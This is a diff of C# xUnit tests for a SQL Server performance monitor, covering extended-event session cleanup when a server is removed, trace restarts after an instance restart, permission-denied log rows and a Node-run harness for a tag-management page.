+        await rig.RemoveAsync();
+
+        Assert.Equal(new[] { Drop(rig, AlwaysOnXeSessionKind.Deadlock) }, rig.Statements["alpha"]);
+        Assert.Equal(new[] { Drop(rig, AlwaysOnXeSessionKind.BlockedProcess) }, rig.Statements["beta"]);
+        Assert.False(rig.Statements.ContainsKey("gamma"));
+        Assert.DoesNotContain(
+            rig.Statements.Values.SelectMany(s => s),
+            statement => statement.Contains("[" + AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock) + "]", StringComparison.Ordinal)
+                || statement.Contains("[" + AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.BlockedProcess) + "]", StringComparison.Ordinal));
+        Assert.Empty(choices.OwnDatabases(key, AlwaysOnXeSessionKind.Deadlock));
+        Assert.Empty(choices.OwnDatabases(key, AlwaysOnXeSessionKind.BlockedProcess));
+
+        /* The other registration's own choice is not the removal's to forget. */
+        Assert.Single(choices.OwnDatabases(KeyOf(other), AlwaysOnXeSessionKind.Deadlock), d => string.Equals(d, "beta", StringComparison.OrdinalIgnoreCase));
+
+        /* Trace off: the long-query session was not touched. */
+        Assert.Empty(rig.Calls);
+    }
+
+    /// <summary>
+    /// A database of the same name on another logical server is another database, so it holds nothing back: only another
+    /// registration of the removed server's own logical server reads its own session in a database of this server. The
+    /// host compares ignoring case and padding.
+    /// </summary>
+    [Fact]
+    public async Task Removal_Azure_TheFallbackIsHeldBackOnlyByARegistrationOfTheSameServer_NotByADatabaseOfTheSameNameElsewhere()
+    {
+        var rig = BuildRig();
+        rig.TraceApplied = false;
+        var elsewhere = Another("lqremoval-other.database.windows.net");
+        var sameServer = Another("  " + Host.ToUpperInvariant() + " ");
+        rig.Remaining.Add(elsewhere);
+        rig.Remaining.Add(sameServer);
+        Assert.NotEqual(elsewhere.ServerId, sameServer.ServerId);
+        var choices = rig.Runner.AlwaysOnChoices;
+        var key = KeyOf(rig.Config);
+        choices.Set(key, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(key, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(KeyOf(elsewhere), "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(KeyOf(sameServer), "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        await rig.RemoveAsync();
+
+        Assert.False(rig.Statements.ContainsKey("alpha"));
+        Assert.Equal(new[] { Drop(rig, AlwaysOnXeSessionKind.Deadlock) }, rig.Statements["beta"]);
+    }
+
+    /// <summary>A failed fallback drop is logged and never stops the removal, and the next database is still tried.</summary>
+    [Fact]
+    public async Task Removal_Azure_AFallbackDropThatFails_IsLogged_AndTheNextDatabaseIsStillDropped()
+    {
+        var rig = BuildRig();
+        rig.TraceApplied = false;
+        var choices = rig.Runner.AlwaysOnChoices;
+        var key = KeyOf(rig.Config);
+        choices.Set(key, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(key, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        rig.Runner.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+        {
+            if (string.Equals(database, "alpha", StringComparison.OrdinalIgnoreCase))
+            {
+                throw new InvalidOperationException("The connection was refused.");
+            }
+
+            return Task.FromResult<IAlwaysOnXeDatabase>(new RecordingDatabase(rig.Statements[database] = new List<string>()));
+        };
+
+        await rig.RemoveAsync();
+
+        Assert.Single(rig.Statements["beta"]);
+        Assert.Contains(rig.Logger.Entries, e =>
+            e.Level == LogLevel.Warning
+            && e.Message.Contains("alpha", StringComparison.OrdinalIgnoreCase)
+            && e.Message.Contains("removed", StringComparison.OrdinalIgnoreCase));
+        Assert.Empty(choices.OwnDatabases(key, AlwaysOnXeSessionKind.Deadlock));
+    }
+
+    /* ── what the registry forgets: the capture ── */
+
+    private static DarlingWorker.ServerLoopState StateOf(Rig rig, bool? applied, bool withRuntime = true) =>
+        new() { Config = rig.Config, Runtime = withRuntime ? rig.Runtime : null, LongQueryTraceApplied = applied };
+
+    /// <summary>
+    /// The reconcile forgets a server in one synchronous step, so what the drop needs is taken first: the definition, the
+    /// runtime and the long-query latch of each server that is no longer wanted. A server that stays is not captured.
+    /// </summary>
+    [Theory]
+    [InlineData(null)]
+    [InlineData(true)]
+    public void Capture_TakesTheServerNoLongerWanted_WithItsDefinitionRuntimeAndLatch(bool? applied)
+    {
+        var rig = BuildRig();
+        var kept = Another(Host);
+        var keptState = new DarlingWorker.ServerLoopState { Config = kept, Runtime = rig.Runtime, LongQueryTraceApplied = true };
+
+        var captured = DarlingRemovedServerSessions.Capture(new[] { StateOf(rig, applied), keptState }, new[] { kept }, rig.Runner);
+
+        var removed = Assert.Single(captured);
+        Assert.Same(rig.Config, removed.Config);
+        Assert.Same(rig.Runtime, removed.Runtime);
+        Assert.Equal(applied, removed.LongQueryTraceApplied);
+    }
+
+    /// <summary>A server with no runtime has nothing to connect with, and a server whose trace was confirmed dropped has no session to drop.</summary>
+    [Fact]
+    public void Capture_SkipsAServerWithNoRuntime_AndAServerWhoseTraceWasConfirmedDropped()
+    {
+        var rig = BuildRig();
+
+        Assert.Empty(DarlingRemovedServerSessions.Capture(new[] { StateOf(rig, applied: true, withRuntime: false) }, Array.Empty<MonitoredServer>(), rig.Runner));
+        Assert.Empty(DarlingRemovedServerSessions.Capture(new[] { StateOf(rig, applied: false) }, Array.Empty<MonitoredServer>(), rig.Runner));
+    }
+
+    /// <summary>The fallbacks do not depend on the trace: a server whose trace is off but whose database reads this install's own session is still captured.</summary>
+    [Fact]
+    public void Capture_TakesAServerWhoseTraceIsOff_WhenItHoldsAnOwnFallbackSession()
+    {
+        var rig = BuildRig();
+        rig.Runner.AlwaysOnChoices.Set(KeyOf(rig.Config), "alpha", AlwaysOnXeSessionKind.BlockedProcess, AlwaysOnXeChoice.Own);
+
+        var removed = Assert.Single(DarlingRemovedServerSessions.Capture(new[] { StateOf(rig, applied: false) }, Array.Empty<MonitoredServer>(), rig.Runner));
+
+        Assert.False(removed.LongQueryTraceApplied);
+    }
+
+    /// <summary>
+    /// The reload takes the capture inside the lock and before the reconcile forgets the server, and awaits the drop after the
+    /// lock, with the runner the collection loop holds. Pinned in the source: the reload needs a store.
+    /// </summary>
+    [Fact]
+    public void TheReload_CapturesBeforeTheReconcile_AndDropsAfterTheLock()
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs"));
+        var start = code.IndexOf("private async Task<long?> ReloadFromStoreAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0, "the reload could not be located");
+        var signature = code[start..code.IndexOf(')', start)];
+        Assert.Contains("DarlingCollectorRunner runner", signature, StringComparison.Ordinal);
+
+        var body = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', code.IndexOf(')', start)));
+        var lockAt = body.IndexOf("lock (_serversLock)", StringComparison.Ordinal);
+        var captureAt = body.IndexOf("DarlingRemovedServerSessions.Capture(", StringComparison.Ordinal);
+        var reconcileAt = body.IndexOf("ReconcileServers(servers, view.EnabledServers);", StringComparison.Ordinal);
+        var dropAt = body.IndexOf("await DropRemovedServerSessionsAsync(", StringComparison.Ordinal);
+        Assert.True(lockAt >= 0 && captureAt > lockAt && reconcileAt > captureAt, "the capture is taken inside the lock, before the reconcile");
+        Assert.True(dropAt > reconcileAt, "the drop comes after the reconcile");
+        Assert.Contains("}", body[reconcileAt..dropAt], StringComparison.Ordinal);
+        Assert.Contains("runner", body[dropAt..body.IndexOf(';', dropAt)], StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(body, @"return null\s*;"));
+
+        /* The drop is one attempt within the timeout, and on premises it asks the guard builder, so the session stays where another
+           registration of this install may keep it. */
+        var dropStart = code.IndexOf("private async Task DropRemovedServerSessionsAsync(", StringComparison.Ordinal);
+        Assert.True(dropStart > 0, "the drop of the removed servers could not be located");
+        var dropBody = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', code.IndexOf(')', dropStart)));
+        Assert.Contains("CancelAfter(DarlingRemovedServerSessions.Timeout)", dropBody, StringComparison.Ordinal);
+        Assert.Contains("LongQueryTraceInstanceGuardFor(", dropBody, StringComparison.Ordinal);
+
+        /* The loop passes the runner it built. */
+        Assert.Matches(@"await ReloadFromStoreAsync\s*\([^)]*\brunner\b[^)]*\)", code);
+    }
+
+    /* ── no session after the drop ── */
+
+    /// <summary>
+    /// A removed server's sweep that was already running can reach the reconcile after the removal retired the server and
+    /// dropped its session. It creates nothing then, and records nothing.
+    /// </summary>
+    [Fact]
+    public async Task AReconcileOfARetiredServer_CreatesNothing_EvenWithItsRuntimeStillSet()
+    {
+        var rig = BuildRig();
+        var state = StateOf(rig, applied: null);
+        state.Retired = true;
+
+        await DarlingWorker.ReconcileLongQueryTraceAsync(
+            state, rig.Runner, enabled: true, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(), DateTime.UtcNow, rig.Logger, CancellationToken.None);
+
+        Assert.Empty(rig.Calls);
+        Assert.Equal(0, rig.ListCalls);
+        Assert.Null(state.LongQueryTraceApplied);
+
+        /* The same call for a server that is not retired runs, so the check is what stopped it. */
+        var live = StateOf(rig, applied: null);
+        await DarlingWorker.ReconcileLongQueryTraceAsync(
+            live, rig.Runner, enabled: true, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(), DateTime.UtcNow, rig.Logger, CancellationToken.None);
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Calls.Where(c => c.Create).Select(c => c.Database));
+    }
+
+    /// <summary>The always-on ensure creates the deadlock and blocked-process sessions, so it leaves a retired server alone.</summary>
+    [Fact]
+    public async Task TheAlwaysOnEnsure_OfARetiredServer_CreatesNothing()
+    {
+        var rig = BuildRig();
+        var ensured = 0;
+        rig.Runner.XeEnsureOverrideForTests = (_, _) =>
+        {
+            ensured++;
+            return Task.CompletedTask;
+        };
+        var state = StateOf(rig, applied: null);
+        state.Retired = true;
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(state, rig.Runner, DateTime.UtcNow, rig.Logger, CancellationToken.None);
+
+        Assert.Equal(0, ensured);
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(StateOf(rig, applied: null), rig.Runner, DateTime.UtcNow, rig.Logger, CancellationToken.None);
+        Assert.Equal(1, ensured);
+    }
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceRestartTests.cs b/Darling/Darling.Tests/LongQueryTraceRestartTests.cs
new file mode 100644
index 0000000000..c4ee4b17f5
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceRestartTests.cs
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4961: a SQL Server restart stops the long-query trace's session, because the per-install session is created with
+/// <c>STARTUP_STATE = OFF</c>, and a stopped session reads as a quiet one. When a collector run sees the instance's
+/// identity move, the worker clears the long-query latch, so the next sweep's reconcile starts the session again
+/// instead of waiting for the hourly create pass. Each test drives the worker's real reconcile on a server whose
+/// session is the server's own, with the create replaced, so no server or store is needed.
+/// </summary>
+public sealed class LongQueryTraceRestartTests : IAsyncDisposable
+{
+    /* Never opened: these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private const string InstallIdValue = "0a1b2c3d";
+    private static readonly string OwnSession = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue);
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required DarlingWorker.ServerLoopState State { get; init; }
+        public List<(string Database, bool Create, string Name)> Calls { get; } = new();
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+        public DarlingSelfAlertTests.CapturingLogger Logger { get; } = new();
+
+        public Task ReconcileAsync(bool enabled) =>
+            DarlingWorker.ReconcileLongQueryTraceAsync(
+                State, Runner, enabled, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(), Clock, Logger, CancellationToken.None);
+    }
+
+    /// <summary>A server on an engine with no per-database sessions, an on-premises server: its session is the server's.</summary>
+    private Rig BuildOnPremRig()
+    {
+        var config = new MonitoredServer { Name = "lqtrace-sql", Host = "lqtrace-sql" };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = "Server=lqtrace-sql;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = false },
+            StorageName = "lqtrace-sql",
+            ServerId = 4961,
+        };
+
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            installId: () => InstallIdValue);
+
+        var rig = new Rig
+        {
+            Runner = runner,
+            State = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime },
+        };
+
+        /* The store is never opened, so the record of the one-time legacy drop is kept in memory, and the legacy drop is
+           not one of the per-install calls these tests count. */
+        runner.LegacyLongQueryRecordsForTests = new LongQueryTraceLifecycleTests.InMemoryLegacyRecords();
+        runner.LongQueryTraceDatabaseOverrideForTests = (_, database, create, sessionName, _) =>
+        {
+            if (sessionName == PerformanceMonitor.Collectors.LongQueryCompletionsCollector.LegacyXeSessionName)
+            {
+                return Task.CompletedTask;
+            }
+
+            rig.Calls.Add((database, create, sessionName));
+            return Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    private static CollectorMeasurement[] IdentityMoved(long count = 1) =>
+        new[] { new CollectorMeasurement(ServerEpoch.IdentityChangesMeasurement, count) };
+
+    [Fact]
+    public async Task AMovedStartTime_ClearsTheLatch_AndTheNextSweepEnsuresTheSession()
+    {
+        var rig = BuildOnPremRig();
+
+        await rig.ReconcileAsync(enabled: true);
+        Assert.True(rig.State.LongQueryTraceApplied);
+        Assert.Single(rig.Calls);
+
+        /* Latched: the next sweep opens no connection. */
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Single(rig.Calls);
+
+        /* A collector run saw the instance's identity move: the restart stopped the session. */
+        var cleared = DarlingWorker.ForgetLongQueryTraceLatchOnRestart(rig.State, IdentityMoved());
+
+        Assert.True(cleared);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+        Assert.Null(rig.State.LongQueryTraceAppliedAtUtc);
+
+        /* Within the hour of the create, so only the cleared latch can make this sweep ensure. */
+        rig.Clock = rig.Clock.AddMinutes(1);
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(2, rig.Calls.Count);
+        Assert.All(rig.Calls, call => Assert.True(call.Create));
+        Assert.All(rig.Calls, call => Assert.Equal(OwnSession, call.Name));
+        Assert.True(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task AMovedStartTime_WithTheTraceOff_ChecksTheDropAgainOnTheNextSweep()
+    {
+        var rig = BuildOnPremRig();
+
+        await rig.ReconcileAsync(enabled: false);
+        Assert.False(rig.State.LongQueryTraceApplied);
+        Assert.Single(rig.Calls);
+
+        Assert.True(DarlingWorker.ForgetLongQueryTraceLatchOnRestart(rig.State, IdentityMoved()));
+
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Equal(2, rig.Calls.Count);
+        Assert.All(rig.Calls, call => Assert.False(call.Create));
+    }
+
+    [Theory]
+    [InlineData(0L)]
+    [InlineData(-1L)]
+    public async Task ARunThatSawNoMove_LeavesTheLatchAlone(long count)
+    {
+        var rig = BuildOnPremRig();
+        await rig.ReconcileAsync(enabled: true);
+
+        var cleared = DarlingWorker.ForgetLongQueryTraceLatchOnRestart(rig.State, IdentityMoved(count));
+        Assert.False(cleared);
+
+        /* Nor does a run that measured something else, or nothing. */
+        Assert.False(DarlingWorker.ForgetLongQueryTraceLatchOnRestart(
+            rig.State, new[] { new CollectorMeasurement(ServerEpoch.StatementsChangesMeasurement, 1) }));
+        Assert.False(DarlingWorker.ForgetLongQueryTraceLatchOnRestart(rig.State, CollectorContext.NoMeasurements));
+
+        Assert.True(rig.State.LongQueryTraceApplied);
+        Assert.NotNull(rig.State.LongQueryTraceAppliedAtUtc);
+
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Empty(rig.Calls);
+    }
+
+    [Fact]
+    public void TheCollectorRun_ClearsTheLatch_FromItsOwnMeasurements()
+    {
+        var worker = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        var run = worker.IndexOf("private async Task<int> RunOneAsync(", StringComparison.Ordinal);
+        Assert.True(run >= 0, "RunOneAsync must exist.");
+        var end = worker.IndexOf("\n    }\n", run, StringComparison.Ordinal);
+        var body = worker[run..end];
+
+        Assert.Contains("ForgetLongQueryTraceLatchOnRestart(server, result.Measurements)", body);
+    }
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceRunRowLiveTests.cs b/Darling/Darling.Tests/LongQueryTraceRunRowLiveTests.cs
new file mode 100644
index 0000000000..4ebccd3093
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceRunRowLiveTests.cs
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5378: the row a long-query run writes when the trace's create was refused. The reconcile keeps the refusal on the server's
+/// loop state, and the run (<c>RunOneAsync</c>, here through the at-connect entry) turns it into a collection_log row without
+/// opening a connection to the monitored server. A denied create (error 15247, the login lacks ALTER ANY EVENT SESSION) is a
+/// PERMISSIONS row that names the grant, and <c>get_collection_health</c> bands the collector NO_PERMISSIONS from it. Any other
+/// refusal is still a SESSION_MISSING row. Both run the real reconcile (the create is replaced by the refusal) and the real
+/// run-row write against a real store, so the catch that picks the status is what each test fails on.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class LongQueryTraceRunRowLiveTests
+{
+    /* #1776 own-store: the rows are keyed by distinctive fake server ids and removed in the cleanup. */
+    private const int PermissionServerId = -537810;
+    private const int OtherFaultServerId = -537811;
+    private const string Collector = "long_query_completions";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task ADeniedCreate_WritesAPermissionsRow_ThatNamesTheGrant_AndHealthBandsItNoPermissions()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live long-query run-row test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, PermissionServerId, "run-row-denied", ct);
+            await using var postgres = NpgsqlDataSource.Create(cs!);
+
+            var (worker, server) = await RunAfterRefusalAsync(
+                postgres, PermissionServerId, LongQueryTraceReadOnlyIntentTests.SqlExceptionFactory.Create(
+                    15247, 14, "User does not have permission to perform this action."), ct);
+
+            Assert.True(server.LongQueryTraceFaultIsPermission);
+
+            var row = Assert.Single(await ReadRowsAsync(connection, PermissionServerId, ct));
+            Assert.Equal("PERMISSIONS", row.Status);
+            Assert.Contains("ALTER ANY EVENT SESSION", row.Message, StringComparison.Ordinal);
+
+            /* get_collection_health: every run in the window was a denial, so the collector bands NO_PERMISSIONS, and the
+               denial is counted as one rather than as a capture that broke. */
+            var health = await DarlingDataReader.GetCollectionHealthAsync(
+                postgres, PermissionServerId, DarlingMcpTestData.Naive(DateTime.UtcNow.AddDays(-1)), ct);
+            var longQuery = health.Single(h => h.CollectorName == Collector);
+            Assert.Equal(1, longQuery.PermissionDeniedCount);
+            Assert.Equal(CollectorHealthClassifier.NoPermissions, longQuery.HealthStatus);
+
+            GC.KeepAlive(worker);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteRowsAsync);
+        }
+    }
+
+    [Fact]
+    public async Task ARefusalThatIsNotAPermissionDenial_StillWritesASessionMissingRow()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live long-query run-row test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, OtherFaultServerId, "run-row-other", ct);
+            await using var postgres = NpgsqlDataSource.Create(cs!);
+
+            var (_, server) = await RunAfterRefusalAsync(
+                postgres, OtherFaultServerId, LongQueryTraceReadOnlyIntentTests.SqlExceptionFactory.Create(
+                    1105, 17, "Could not allocate space for object in database because the filegroup is full."), ct);
+
+            Assert.False(server.LongQueryTraceFaultIsPermission);
+
+            var row = Assert.Single(await ReadRowsAsync(connection, OtherFaultServerId, ct));
+            Assert.Equal("SESSION_MISSING", row.Status);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteRowsAsync);
+        }
+    }
+
+    /// <summary>
+    /// Runs the worker's real reconcile with every create refused with <paramref name="refusal"/>, then the run of the
+    /// long-query collector, which reads the reconcile's kept fault and writes its row.
+    /// </summary>
+    private static async Task<(DarlingWorker Worker, DarlingWorker.ServerLoopState Server)> RunAfterRefusalAsync(
+        NpgsqlDataSource postgres, int serverId, Exception refusal, CancellationToken ct)
+    {
+        var host = $"run-row-{Math.Abs(serverId)}";
+        var config = new MonitoredServer { Name = host, Host = host };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo(),
+            StorageName = host,
+            ServerId = serverId,
+        };
+        var server = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime };
+
+        var runner = new DarlingCollectorRunner(
+            postgres,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => "0a1b2c3d");
+        runner.LongQueryTraceListOverrideForTests = (_, _, _, _) => Task.FromResult(new List<string> { "master" });
+        runner.LegacyLongQueryRecordsForTests = new LongQueryTraceLifecycleTests.InMemoryLegacyRecords();
+        runner.LegacyLongQueryPresentForTests = (_, _, _) => Task.FromResult(false);
+        runner.LongQueryTraceReplicaStateForTests = (_, _) => default;
+        runner.LongQueryTraceStepOverrideForTests = (_, _, _, step, _, _) =>
+            step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop ? Task.CompletedTask : Task.FromException(refusal);
+
+        var worker = new DarlingWorker(
+            NullLogger<DarlingWorker>.Instance,
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator())
+        {
+            StoreForTests = postgres,
+        };
+
+        await DarlingWorker.ReconcileLongQueryTraceAsync(
+            server, runner, true, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(),
+            new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc), NullLogger.Instance, ct);
+        Assert.NotNull(server.LongQueryTraceFault);
+
+        var effective = StoreConfigProvider.ResolveSchedule(Collector, serverId, worker.ScheduleOverridesForTest);
+        await worker.RunOnLoadAsync(server, runner, Collector, serverId, effective, ct);
+        return (worker, server);
+    }
+
+    private static async Task<List<(string Status, string? Message)>> ReadRowsAsync(
+        NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "SELECT status, error_message FROM collection_log WHERE server_id = $1 AND collector_name = $2", connection);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(Collector);
+        var rows = new List<(string, string?)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add((reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1)));
+        }
+
+        return rows;
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var id in new[] { PermissionServerId, OtherFaultServerId })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collection_log WHERE server_id = $1", id);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", id);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", id);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs b/Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs
index c64cf201c5..779b9e7ad4 100644
--- a/Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs
+++ b/Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// ahead of this rung with Darling evaluating on the seeds through <c>DarlingAlertSettings</c>; this PR gives
 /// the knob its store home so an operator can change it.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LongRunningQueryExclusionKnobRungTests
 {
     private const int RungVersion = 135;
diff --git a/Darling/Darling.Tests/LongRunningQueryExclusionsTests.cs b/Darling/Darling.Tests/LongRunningQueryExclusionsTests.cs
index a813552811..5b1e368880 100644
--- a/Darling/Darling.Tests/LongRunningQueryExclusionsTests.cs
+++ b/Darling/Darling.Tests/LongRunningQueryExclusionsTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// Lite and Darling drift in what a setting means, which is the #1839/#1911 class of bug. Also pins the SEEDED
 /// DEFAULTS to the read's four classes, because a default nobody pins is a default that quietly changes.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LongRunningQueryExclusionsTests
 {
     [Theory]
diff --git a/Darling/Darling.Tests/ManageTagsBehaviourTests.cs b/Darling/Darling.Tests/ManageTagsBehaviourTests.cs
new file mode 100644
index 0000000000..c5d74207c5
--- /dev/null
+++ b/Darling/Darling.Tests/ManageTagsBehaviourTests.cs
@@ -0,0 +1,359 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Manage Tags page run under Node (<c>manage-tags-harness.mjs</c>) against a fake DOM and a fake fetch: the
+/// tree, each write's request, the server's refusal text, the delete confirm, the assignment diff, the repaint and
+/// the read-only sign-in. Skipped when Node is not installed.
+/// </summary>
+public sealed class ManageTagsBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "manage-tags-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the manage tags harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the manage tags harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString() ?? "null").ToArray();
+
+    [Fact]
+    public void TheTreeShowsTheForestInServerOrder_WithSwatchesAndIndent_AndOnlyAWellFormedColour()
+    {
+        if (!TryRun("render", out var r)) return;
+
+        Assert.Equal(new[] { "East", "Prod", "Edge<b>", "West" }, Strings(r.GetProperty("order")));
